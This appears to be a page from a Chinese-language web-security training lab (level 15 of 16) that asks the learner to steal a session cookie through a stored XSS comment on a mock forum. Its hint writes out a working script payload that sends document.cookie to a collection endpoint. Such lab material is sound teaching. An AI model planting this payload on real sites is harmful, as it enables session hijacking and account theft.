这站的评论区好像完全没过滤。
靶场 15：综合实战 —— 利用存储型 XSS 窃取会话 Cookie
已通关第 15 / 16 关 · 类型：存储型 / 危害利用 · 难度：进阶
通关目标：发布一条评论，使访问该页面的浏览器把 lab14session Cookie 发送到收集接口，并在“查看窃取日志”中出现 FLAG。
夜航船论坛 · 前端安全版块
你已登录。当前页面 Cookie（前端可读）：（点此刷新显示）
最新帖子（1）
查看提示（建议先自行尝试）
提示：用 fetch 或 Image 发请求，例如
<script>fetch('/xss-lab/lab/15/steal?c='+encodeURIComponent(document.cookie))</script>。发帖后刷新页面，再打开窃取日志查看结果。